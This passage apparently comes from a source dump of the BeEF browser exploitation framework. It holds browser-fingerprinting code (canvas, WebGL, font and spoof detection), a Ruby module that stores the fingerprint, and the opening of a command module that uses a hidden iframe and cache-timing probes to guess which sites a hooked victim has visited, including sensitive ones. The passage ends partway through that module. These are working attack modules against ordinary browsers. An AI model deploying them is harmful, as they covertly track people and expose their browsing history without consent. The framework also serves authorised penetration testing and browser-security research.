'evenodd') === false) ? 'yes' : 'no'))\n\n    ctx.textBaseline = 'alphabetic'\n    ctx.fillStyle = '#f60'\n    ctx.fillRect(125, 1, 62, 20)\n    ctx.fillStyle = '#069'\n      // https://github.com/Valve/fingerprintjs2/issues/66\n    if (options.dontUseFakeFontInCanvas) {\n      ctx.font = '11pt Arial'\n    } else {\n      ctx.font = '11pt no-real-font-123'\n    }\n    ctx.fillText('Cwm fjordbank glyphs vext quiz, \\ud83d\\ude03', 2, 15)\n    ctx.fillStyle = 'rgba(102, 204, 0, 0.2)'\n    ctx.font = '18pt Arial'\n    ctx.fillText('Cwm fjordbank glyphs vext quiz, \\ud83d\\ude03', 4, 45)\n\n      // canvas blending\n      // http://blogs.adobe.com/webplatform/2013/01/28/blending-features-in-canvas/\n      // http://jsfiddle.net/NDYV8/16/\n    ctx.globalCompositeOperation = 'multiply'\n    ctx.fillStyle = 'rgb(255,0,255)'\n    ctx.beginPath()\n    ctx.arc(50, 50, 50, 0, Math.PI * 2, true)\n    ctx.closePath()\n    ctx.fill()\n    ctx.fillStyle = 'rgb(0,255,255)'\n    ctx.beginPath()\n    ctx.arc(100, 50, 50, 0, Math.PI * 2, true)\n    ctx.closePath()\n    ctx.fill()\n    ctx.fillStyle = 'rgb(255,255,0)'\n    ctx.beginPath()\n    ctx.arc(75, 100, 50, 0, Math.PI * 2, true)\n    ctx.closePath()\n    ctx.fill()\n    ctx.fillStyle = 'rgb(255,0,255)'\n      // canvas winding\n      // http://blogs.adobe.com/webplatform/2013/01/30/winding-rules-in-canvas/\n      // http://jsfiddle.net/NDYV8/19/\n    ctx.arc(75, 75, 75, 0, Math.PI * 2, true)\n    ctx.arc(75, 75, 25, 0, Math.PI * 2, true)\n    ctx.fill('evenodd')\n\n    if (canvas.toDataURL) { result.push('canvas fp:' + canvas.toDataURL()) }\n    return result\n  }\n  var getWebglFp = function () {\n    var gl\n    var fa2s = function (fa) {\n      gl.clearColor(0.0, 0.0, 0.0, 1.0)\n      gl.enable(gl.DEPTH_TEST)\n      gl.depthFunc(gl.LEQUAL)\n      gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT)\n      return '[' + fa[0] + ', ' + fa[1] + ']'\n    }\n    var maxAnisotropy = function (gl) {\n      var ext = gl.getExtension('EXT_texture_filter_anisotropic') || gl.getExtension('WEBKIT_EXT_texture_filter_anisotropic') || gl.getExtension('MOZ_EXT_texture_filter_anisotropic')\n      if (ext) {\n        var anisotropy = gl.getParameter(ext.MAX_TEXTURE_MAX_ANISOTROPY_EXT)\n        if (anisotropy === 0) {\n          anisotropy = 2\n        }\n        return anisotropy\n      } else {\n        return null\n      }\n    }\n\n    gl = getWebglCanvas()\n    if (!gl) { return null }\n      // WebGL fingerprinting is a combination of techniques, found in MaxMind antifraud script & Augur fingerprinting.\n      // First it draws a gradient object with shaders and convers the image to the Base64 string.\n      // Then it enumerates all WebGL extensions & capabilities and appends them to the Base64 string, resulting in a huge WebGL string, potentially very unique on each device\n      // Since iOS supports webgl starting from version 8.1 and 8.1 runs on several graphics chips, the results may be different across ios devices, but we need to verify it.\n    var result = []\n    var vShaderTemplate = 'attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}'\n    var fShaderTemplate = 'precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}'\n    var vertexPosBuffer = gl.createBuffer()\n    gl.bindBuffer(gl.ARRAY_BUFFER, vertexPosBuffer)\n    var vertices = new Float32Array([-0.2, -0.9, 0, 0.4, -0.26, 0, 0, 0.732134444, 0])\n    gl.bufferData(gl.ARRAY_BUFFER, vertices, gl.STATIC_DRAW)\n    vertexPosBuffer.itemSize = 3\n    vertexPosBuffer.numItems = 3\n    var program = gl.createProgram()\n    var vshader = gl.createShader(gl.VERTEX_SHADER)\n    gl.shaderSource(vshader, vShaderTemplate)\n    gl.compileShader(vshader)\n    var fshader = gl.createShader(gl.FRAGMENT_SHADER)\n    gl.shaderSource(fshader, fShaderTemplate)\n    gl.compileShader(fshader)\n    gl.attachShader(program, vshader)\n    gl.attachShader(program, fshader)\n    gl.linkProgram(program)\n    gl.useProgram(program)\n    program.vertexPosAttrib = gl.getAttribLocation(program, 'attrVertex')\n    program.offsetUniform = gl.getUniformLocation(program, 'uniformOffset')\n    gl.enableVertexAttribArray(program.vertexPosArray)\n    gl.vertexAttribPointer(program.vertexPosAttrib, vertexPosBuffer.itemSize, gl.FLOAT, !1, 0, 0)\n    gl.uniform2f(program.offsetUniform, 1, 1)\n    gl.drawArrays(gl.TRIANGLE_STRIP, 0, vertexPosBuffer.numItems)\n    try {\n      result.push(gl.canvas.toDataURL())\n    } catch (e) {\n        /* .toDataURL may be absent or broken (blocked by extension) */\n    }\n    result.push('extensions:' + (gl.getSupportedExtensions() || []).join(';'))\n    result.push('webgl aliased line width range:' + fa2s(gl.getParameter(gl.ALIASED_LINE_WIDTH_RANGE)))\n    result.push('webgl aliased point size range:' + fa2s(gl.getParameter(gl.ALIASED_POINT_SIZE_RANGE)))\n    result.push('webgl alpha bits:' + gl.getParameter(gl.ALPHA_BITS))\n    result.push('webgl antialiasing:' + (gl.getContextAttributes().antialias ? 'yes' : 'no'))\n    result.push('webgl blue bits:' + gl.getParameter(gl.BLUE_BITS))\n    result.push('webgl depth bits:' + gl.getParameter(gl.DEPTH_BITS))\n    result.push('webgl green bits:' + gl.getParameter(gl.GREEN_BITS))\n    result.push('webgl max anisotropy:' + maxAnisotropy(gl))\n    result.push('webgl max combined texture image units:' + gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS))\n    result.push('webgl max cube map texture size:' + gl.getParameter(gl.MAX_CUBE_MAP_TEXTURE_SIZE))\n    result.push('webgl max fragment uniform vectors:' + gl.getParameter(gl.MAX_FRAGMENT_UNIFORM_VECTORS))\n    result.push('webgl max render buffer size:' + gl.getParameter(gl.MAX_RENDERBUFFER_SIZE))\n    result.push('webgl max texture image units:' + gl.getParameter(gl.MAX_TEXTURE_IMAGE_UNITS))\n    result.push('webgl max texture size:' + gl.getParameter(gl.MAX_TEXTURE_SIZE))\n    result.push('webgl max varying vectors:' + gl.getParameter(gl.MAX_VARYING_VECTORS))\n    result.push('webgl max vertex attribs:' + gl.getParameter(gl.MAX_VERTEX_ATTRIBS))\n    result.push('webgl max vertex texture image units:' + gl.getParameter(gl.MAX_VERTEX_TEXTURE_IMAGE_UNITS))\n    result.push('webgl max vertex uniform vectors:' + gl.getParameter(gl.MAX_VERTEX_UNIFORM_VECTORS))\n    result.push('webgl max viewport dims:' + fa2s(gl.getParameter(gl.MAX_VIEWPORT_DIMS)))\n    result.push('webgl red bits:' + gl.getParameter(gl.RED_BITS))\n    result.push('webgl renderer:' + gl.getParameter(gl.RENDERER))\n    result.push('webgl shading language version:' + gl.getParameter(gl.SHADING_LANGUAGE_VERSION))\n    result.push('webgl stencil bits:' + gl.getParameter(gl.STENCIL_BITS))\n    result.push('webgl vendor:' + gl.getParameter(gl.VENDOR))\n    result.push('webgl version:' + gl.getParameter(gl.VERSION))\n\n    try {\n        // Add the unmasked vendor and unmasked renderer if the debug_renderer_info extension is available\n      var extensionDebugRendererInfo = gl.getExtension('WEBGL_debug_renderer_info')\n      if (extensionDebugRendererInfo) {\n        result.push('webgl unmasked vendor:' + gl.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL))\n        result.push('webgl unmasked renderer:' + gl.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL))\n      }\n    } catch (e) { /* squelch */ }\n\n    if (!gl.getShaderPrecisionFormat) {\n      return result\n    }\n\n    each(['FLOAT', 'INT'], function (numType) {\n      each(['VERTEX', 'FRAGMENT'], function (shader) {\n        each(['HIGH', 'MEDIUM', 'LOW'], function (numSize) {\n          each(['precision', 'rangeMin', 'rangeMax'], function (key) {\n            var format = gl.getShaderPrecisionFormat(gl[shader + '_SHADER'], gl[numSize + '_' + numType])[key]\n            if (key !== 'precision') {\n              key = 'precision ' + key\n            }\n            var line = ['webgl ', shader.toLowerCase(), ' shader ', numSize.toLowerCase(), ' ', numType.toLowerCase(), ' ', key, ':', format].join('')\n            result.push(line)\n          })\n        })\n      })\n    })\n    return result\n  }\n  var getWebglVendorAndRenderer = function () {\n      /* This a subset of the WebGL fingerprint with a lot of entropy, while being reasonably browser-independent */\n    try {\n      var glContext = getWebglCanvas()\n      var extensionDebugRendererInfo = glContext.getExtension('WEBGL_debug_renderer_info')\n      return glContext.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL) + '~' + glContext.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL)\n    } catch (e) {\n      return null\n    }\n  }\n  var getAdBlock = function () {\n    var ads = document.createElement('div')\n    ads.innerHTML = '&nbsp;'\n    ads.className = 'adsbox'\n    var result = false\n    try {\n        // body may not exist, that's why we need try/catch\n      document.body.appendChild(ads)\n      result = document.getElementsByClassName('adsbox')[0].offsetHeight === 0\n      document.body.removeChild(ads)\n    } catch (e) {\n      result = false\n    }\n    return result\n  }\n  var getHasLiedLanguages = function () {\n      // We check if navigator.language is equal to the first language of navigator.languages\n    if (typeof navigator.languages !== 'undefined') {\n      try {\n        var firstLanguages = navigator.languages[0].substr(0, 2)\n        if (firstLanguages !== navigator.language.substr(0, 2)) {\n          return true\n        }\n      } catch (err) {\n        return true\n      }\n    }\n    return false\n  }\n  var getHasLiedResolution = function () {\n    return window.screen.width < window.screen.availWidth || window.screen.height < window.screen.availHeight\n  }\n  var getHasLiedOs = function () {\n    var userAgent = navigator.userAgent.toLowerCase()\n    var oscpu = navigator.oscpu\n    var platform = navigator.platform.toLowerCase()\n    var os\n      // We extract the OS from the user agent (respect the order of the if else if statement)\n    if (userAgent.indexOf('windows phone') >= 0) {\n      os = 'Windows Phone'\n    } else if (userAgent.indexOf('win') >= 0) {\n      os = 'Windows'\n    } else if (userAgent.indexOf('android') >= 0) {\n      os = 'Android'\n    } else if (userAgent.indexOf('linux') >= 0) {\n      os = 'Linux'\n    } else if (userAgent.indexOf('iphone') >= 0 || userAgent.indexOf('ipad') >= 0) {\n      os = 'iOS'\n    } else if (userAgent.indexOf('mac') >= 0) {\n      os = 'Mac'\n    } else {\n      os = 'Other'\n    }\n      // We detect if the person uses a mobile device\n    var mobileDevice = (('ontouchstart' in window) ||\n        (navigator.maxTouchPoints > 0) ||\n        (navigator.msMaxTouchPoints > 0))\n\n    if (mobileDevice && os !== 'Windows Phone' && os !== 'Android' && os !== 'iOS' && os !== 'Other') {\n      return true\n    }\n\n      // We compare oscpu with the OS extracted from the UA\n    if (typeof oscpu !== 'undefined') {\n      oscpu = oscpu.toLowerCase()\n      if (oscpu.indexOf('win') >= 0 && os !== 'Windows' && os !== 'Windows Phone') {\n        return true\n      } else if (oscpu.indexOf('linux') >= 0 && os !== 'Linux' && os !== 'Android') {\n        return true\n      } else if (oscpu.indexOf('mac') >= 0 && os !== 'Mac' && os !== 'iOS') {\n        return true\n      } else if ((oscpu.indexOf('win') === -1 && oscpu.indexOf('linux') === -1 && oscpu.indexOf('mac') === -1) !== (os === 'Other')) {\n        return true\n      }\n    }\n\n      // We compare platform with the OS extracted from the UA\n    if (platform.indexOf('win') >= 0 && os !== 'Windows' && os !== 'Windows Phone') {\n      return true\n    } else if ((platform.indexOf('linux') >= 0 || platform.indexOf('android') >= 0 || platform.indexOf('pike') >= 0) && os !== 'Linux' && os !== 'Android') {\n      return true\n    } else if ((platform.indexOf('mac') >= 0 || platform.indexOf('ipad') >= 0 || platform.indexOf('ipod') >= 0 || platform.indexOf('iphone') >= 0) && os !== 'Mac' && os !== 'iOS') {\n      return true\n    } else if ((platform.indexOf('win') === -1 && platform.indexOf('linux') === -1 && platform.indexOf('mac') === -1) !== (os === 'Other')) {\n      return true\n    }\n\n    return typeof navigator.plugins === 'undefined' && os !== 'Windows' && os !== 'Windows Phone'\n  }\n  var getHasLiedBrowser = function () {\n    var userAgent = navigator.userAgent.toLowerCase()\n    var productSub = navigator.productSub\n\n      // we extract the browser from the user agent (respect the order of the tests)\n    var browser\n    if (userAgent.indexOf('firefox') >= 0) {\n      browser = 'Firefox'\n    } else if (userAgent.indexOf('opera') >= 0 || userAgent.indexOf('opr') >= 0) {\n      browser = 'Opera'\n    } else if (userAgent.indexOf('chrome') >= 0) {\n      browser = 'Chrome'\n    } else if (userAgent.indexOf('safari') >= 0) {\n      browser = 'Safari'\n    } else if (userAgent.indexOf('trident') >= 0) {\n      browser = 'Internet Explorer'\n    } else {\n      browser = 'Other'\n    }\n\n    if ((browser === 'Chrome' || browser === 'Safari' || browser === 'Opera') && productSub !== '20030107') {\n      return true\n    }\n\n      // eslint-disable-next-line no-eval\n    var tempRes = eval.toString().length\n    if (tempRes === 37 && browser !== 'Safari' && browser !== 'Firefox' && browser !== 'Other') {\n      return true\n    } else if (tempRes === 39 && browser !== 'Internet Explorer' && browser !== 'Other') {\n      return true\n    } else if (tempRes === 33 && browser !== 'Chrome' && browser !== 'Opera' && browser !== 'Other') {\n      return true\n    }\n\n      // We create an error to see how it is handled\n    var errFirefox\n    try {\n        // eslint-disable-next-line no-throw-literal\n      throw 'a'\n    } catch (err) {\n      try {\n        err.toSource()\n        errFirefox = true\n      } catch (errOfErr) {\n        errFirefox = false\n      }\n    }\n    return errFirefox && browser !== 'Firefox' && browser !== 'Other'\n  }\n  var isCanvasSupported = function () {\n    var elem = document.createElement('canvas')\n    return !!(elem.getContext && elem.getContext('2d'))\n  }\n  var isWebGlSupported = function () {\n      // code taken from Modernizr\n    if (!isCanvasSupported()) {\n      return false\n    }\n\n    var glContext = getWebglCanvas()\n    return !!window.WebGLRenderingContext && !!glContext\n  }\n  var isIE = function () {\n    if (navigator.appName === 'Microsoft Internet Explorer') {\n      return true\n    } else if (navigator.appName === 'Netscape' && /Trident/.test(navigator.userAgent)) { // IE 11\n      return true\n    }\n    return false\n  }\n  var hasSwfObjectLoaded = function () {\n    return typeof window.swfobject !== 'undefined'\n  }\n  var hasMinFlashInstalled = function () {\n    return window.swfobject.hasFlashPlayerVersion('9.0.0')\n  }\n  var addFlashDivNode = function (options) {\n    var node = document.createElement('div')\n    node.setAttribute('id', options.fonts.swfContainerId)\n    document.body.appendChild(node)\n  }\n  var loadSwfAndDetectFonts = function (done, options) {\n    var hiddenCallback = '___fp_swf_loaded'\n    window[hiddenCallback] = function (fonts) {\n      done(fonts)\n    }\n    var id = options.fonts.swfContainerId\n    addFlashDivNode()\n    var flashvars = { onReady: hiddenCallback }\n    var flashparams = { allowScriptAccess: 'always', menu: 'false' }\n    window.swfobject.embedSWF(options.fonts.swfPath, id, '1', '1', '9.0.0', false, flashvars, flashparams, {})\n  }\n  var getWebglCanvas = function () {\n    var canvas = document.createElement('canvas')\n    var gl = null\n    try {\n      gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl')\n    } catch (e) { /* squelch */ }\n    if (!gl) { gl = null }\n    return gl\n  }\n\n  var components = [\n    {key: 'userAgent', getData: UserAgent},\n    {key: 'language', getData: languageKey},\n    {key: 'colorDepth', getData: colorDepthKey},\n    {key: 'deviceMemory', getData: deviceMemoryKey},\n    {key: 'pixelRatio', getData: pixelRatioKey},\n    {key: 'hardwareConcurrency', getData: hardwareConcurrencyKey},\n    {key: 'screenResolution', getData: screenResolutionKey},\n    {key: 'availableScreenResolution', getData: availableScreenResolutionKey},\n    {key: 'timezoneOffset', getData: timezoneOffset},\n    {key: 'timezone', getData: timezone},\n    {key: 'sessionStorage', getData: sessionStorageKey},\n    {key: 'localStorage', getData: localStorageKey},\n    {key: 'indexedDb', getData: indexedDbKey},\n    {key: 'addBehavior', getData: addBehaviorKey},\n    {key: 'openDatabase', getData: openDatabaseKey},\n    {key: 'cpuClass', getData: cpuClassKey},\n    {key: 'platform', getData: platformKey},\n    {key: 'doNotTrack', getData: doNotTrackKey},\n    {key: 'plugins', getData: pluginsComponent},\n    {key: 'canvas', getData: canvasKey},\n    {key: 'webgl', getData: webglKey},\n    {key: 'webglVendorAndRenderer', getData: webglVendorAndRendererKey},\n    {key: 'adBlock', getData: adBlockKey},\n    {key: 'hasLiedLanguages', getData: hasLiedLanguagesKey},\n    {key: 'hasLiedResolution', getData: hasLiedResolutionKey},\n    {key: 'hasLiedOs', getData: hasLiedOsKey},\n    {key: 'hasLiedBrowser', getData: hasLiedBrowserKey},\n    {key: 'touchSupport', getData: touchSupportKey},\n    {key: 'fonts', getData: jsFontsKey, pauseBefore: true},\n    {key: 'fontsFlash', getData: flashFontsKey, pauseBefore: true},\n    {key: 'audio', getData: audioKey},\n    {key: 'enumerateDevices', getData: enumerateDevicesKey}\n  ]\n\n  var Fingerprint2 = function (options) {\n    throw new Error(\"'new Fingerprint()' is deprecated, see https://github.com/Valve/fingerprintjs2#upgrade-guide-from-182-to-200\")\n  }\n\n  Fingerprint2.get = function (options, callback) {\n    if (!callback) {\n      callback = options\n      options = {}\n    } else if (!options) {\n      options = {}\n    }\n    extendSoft(options, defaultOptions)\n    options.components = options.extraComponents.concat(components)\n\n    var keys = {\n      data: [],\n      addPreprocessedComponent: function (key, value) {\n        if (typeof options.preprocessor === 'function') {\n          value = options.preprocessor(key, value)\n        }\n        keys.data.push({key: key, value: value})\n      }\n    }\n\n    var i = -1\n    var chainComponents = function (alreadyWaited) {\n      i += 1\n      if (i >= options.components.length) { // on finish\n        callback(keys.data)\n        return\n      }\n      var component = options.components[i]\n\n      if (options.excludes[component.key]) {\n        chainComponents(false) // skip\n        return\n      }\n\n      if (!alreadyWaited && component.pauseBefore) {\n        i -= 1\n        setTimeout(function () {\n          chainComponents(true)\n        }, 1)\n        return\n      }\n\n      try {\n        component.getData(function (value) {\n          keys.addPreprocessedComponent(component.key, value)\n          chainComponents(false)\n        }, options)\n      } catch (error) {\n        // main body error\n        keys.addPreprocessedComponent(component.key, String(error))\n        chainComponents(false)\n      }\n    }\n\n    chainComponents(false)\n  }\n\n  Fingerprint2.getPromise = function (options) {\n    return new Promise(function (resolve, reject) {\n      Fingerprint2.get(options, resolve)\n    })\n  }\n\n  Fingerprint2.getV18 = function (options, callback) {\n    if (callback == null) {\n      callback = options\n      options = {}\n    }\n    return Fingerprint2.get(options, function (components) {\n      var newComponents = []\n      for (var i = 0; i < components.length; i++) {\n        var component = components[i]\n        if (component.value === (options.NOT_AVAILABLE || 'not available')) {\n          newComponents.push({key: component.key, value: 'unknown'})\n        } else if (component.key === 'plugins') {\n          newComponents.push({key: 'plugins',\n            value: map(component.value, function (p) {\n              var mimeTypes = map(p[2], function (mt) {\n                if (mt.join) { return mt.join('~') }\n                return mt\n              }).join(',')\n              return [p[0], p[1], mimeTypes].join('::')\n            })})\n        } else if (['canvas', 'webgl'].indexOf(component.key) !== -1) {\n          newComponents.push({key: component.key, value: component.value.join('~')})\n        } else if (['sessionStorage', 'localStorage', 'indexedDb', 'addBehavior', 'openDatabase'].indexOf(component.key) !== -1) {\n          if (component.value) {\n            newComponents.push({key: component.key, value: 1})\n          } else {\n            // skip\n            continue\n          }\n        } else {\n          if (component.value) {\n            newComponents.push(component.value.join ? {key: component.key, value: component.value.join(';')} : component)\n          } else {\n            newComponents.push({key: component.key, value: component.value})\n          }\n        }\n      }\n      var murmur = x64hash128(map(newComponents, function (component) { return component.value }).join('~~~'), 31)\n      callback(murmur, newComponents)\n    })\n  }\n\n  Fingerprint2.x64hash128 = x64hash128\n  Fingerprint2.VERSION = '2.0.6'\n  return Fingerprint2\n})\n"
  },
  {
    "path": "modules/browser/fingerprint_browser/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Fingerprint_browser < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['fingerprint'] = @datastore['fingerprint'] unless @datastore['fingerprint'].nil?\n    content['components'] = @datastore['components'] unless @datastore['components'].nil?\n    content['fail'] = 'Failed to fingerprint browser.' if content.empty?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/get_visited_domains/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nvar hidden_iframe = beef.dom.createInvisibleIframe();\nhidden_iframe.setAttribute('id','f');\nhidden_iframe.setAttribute('name','f');\t\t\nhidden_iframe.setAttribute('src','about:blank');\t\t\nhidden_iframe.setAttribute('style','opacity: 0.1');\t\t\n\nvar results = \"\";\nvar tries = 0;\n\nvar isIE = 0;\nvar isFF = 0;\nvar isO = 0;\nvar isC = 0;\n\n/*******************************\n * SUB-MS TIMER IMPLEMENTATION *\n *******************************/\nvar cycles = 0;\nvar exec_next = null;\n\nfunction timer_interrupt() {\n  cycles++;\n  if (exec_next) {\n    var cmd = exec_next;\n    exec_next = null;\n    cmd();\n  }\n}\n\nif (beef.browser.isFF() == 1) {\n\twindow.addEventListener('message', timer_interrupt, false);\n\n\t/****************\n\t * SCANNED URLS *\n\t ****************/\n\tvar targets = [\n\t  { 'category': 'Social networks' },\n\t  { 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',\n\t\t\t\t\t\t\t\t\t  'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',\n\t\t\t\t\t\t\t\t\t  'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },\n\t  { 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },\n\t\n\t  { 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz',\n\t\t\t\t\t\t\t\t\t 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] },\n\t  { 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },\n\t  { 'category': 'Content platforms' },\n\t  { 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },\n\t  { 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] },\n\t  { 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },\n\t  { 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] },\n\t  { 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },\n\t  { 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] },\n\t  { 'category': 'Online media' },\n\t  { 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },\n\t  { 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',\n\t\t\t\t\t\t\t\t 'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },\n\t  { 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] },\n\t  { 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] },\n\t  { 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },\n\t  { 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },\n\t  { 'category': 'Commerce' },\n\t  { 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12',\n\t\t\t\t\t\t\t\t\t\t 'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] },\n\t  { 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },\n\t  { 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },\n\t  { 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },\n\t  { 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },\n      { 'category': 'Coding' },\n      { 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] },\n      { 'category': 'Security' },\n      { 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] },\n      { 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] },\n      { 'category': 'Email' },\n      { 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] }\n\t];\n\t/*************************\n\t * CONFIGURABLE SETTINGS *\n\t *************************/\n\tvar TIME_LIMIT = 5;\n\tvar MAX_ATTEMPTS = 2;\t\n}\nif (beef.browser.isIE() == 1) {\n\t/****************\n\t * SCANNED URLS *\n\t ****************/\n\tvar targets = [\n\t  { 'category': 'Social networks' },\n\t  { 'name': 'Facebook', 'urls': [ 'http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png',\n\t\t\t\t\t\t\t\t\t  'https://s-static.ak.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png' ] },\n\t  { 'name': 'Twitter', 'urls': [ 'http://twitter.com/phoenix/favicon.ico',\n\t\t\t\t\t\t\t\t\t 'https://twitter.com/phoenix/favicon.ico' ] },\n\t  { 'name': 'LinkedIn', 'urls': [ 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png',\n\t\t\t\t\t\t\t\t\t  'http://s3.licdn.com/scds/common/u/img/logos/logo_2_237x60.png',\n\t\t\t\t\t\t\t\t\t  'http://s4.licdn.com/scds/common/u/img/logos/logo_132x32_2.png' ] },\n\t  { 'name': 'Orkut', 'urls': [ 'http://static3.orkut.com/img/gwt/logo_orkut_default.png' ] },\n\t  { 'name': 'Dogster', 'urls': [ 'http://a2.cdnsters.com/static/images/sitewide/logos/dsterBanner-sm.png' ] },\n\t  { 'category': 'Content platforms' },\n\t  { 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/favicon-refresh-vfldLzJxy.ico' ] },\n\t  { 'name': 'Hulu', 'urls': [ 'http://www.hulu.com/fat-favicon.ico' ] },\n\t  { 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/favicon.ico' ] },\n\t  { 'name': 'Wikipedia (EN)', 'urls': [ 'http://en.wikipedia.org/favicon.ico' ] },\n\t  { 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/favicon.ico' ] },\n\t  { 'category': 'Online media' },\n\t  { 'name': 'New York Times', 'urls': [ 'http://css.nyt.com/images/icons/nyt.ico' ] },\n\t  { 'name': 'CNN', 'urls': [ 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/hdr-main.gif',\n\t\t\t\t\t\t\t\t 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif' ] },\n\t  { 'name': 'Slashdot', 'urls': [ 'http://slashdot.org/favicon.ico',\n\t\t\t\t\t\t\t\t\t  'http://a.fsdn.com/sd/logo_w_l.png' ] },\n\t  { 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/favicon.ico' ] },\n\t  { 'name': 'Fox News', 'urls': [ 'http://www.foxnews.com/i/redes/foxnews.ico' ] },\n\t  { 'name': 'AboveTopSecret.com', 'urls': [ 'http://files.abovetopsecret.com/images/atssitelogo-f.png' ] },\n\t  { 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/IMG/wlogo.png' ] /* this session only */ },\n\t  { 'category': 'Commerce' },\n\t  { 'name': 'Diapers.com', 'urls': [ 'http://c4.diapers.com/Images/favicon.ico' ] },\n\t  { 'name': 'Amazon (US)', 'urls': [ 'http://g-ecx.images-amazon.com/images/G/01/gno/images/general/navAmazonLogoFooter._V169459313_.gif' ] },\n\t  { 'name': 'eBay', 'urls': [ 'http://www.ebay.com/favicon.ico' ] },\n\t  { 'name': 'Walmart', 'urls': [ 'http://www.walmart.com/favicon.ico' ] },\n\t  { 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/Nest/Newegg.ico' ] }\n\t];\n\t/*************************\n\t * CONFIGURABLE SETTINGS *\n\t *************************/\n\t\n\tvar TIME_LIMIT = 1; \n\tvar MAX_ATTEMPTS = 1;\t\n}\n\nif (beef.browser.isO() == 1){\n    /****************\n\t * SCANNED URLS *\n\t ****************/\n\tvar targets = [\n\t  { 'category': 'Social networks' },\n\t  { 'name': 'Facebook', 'urls': [ 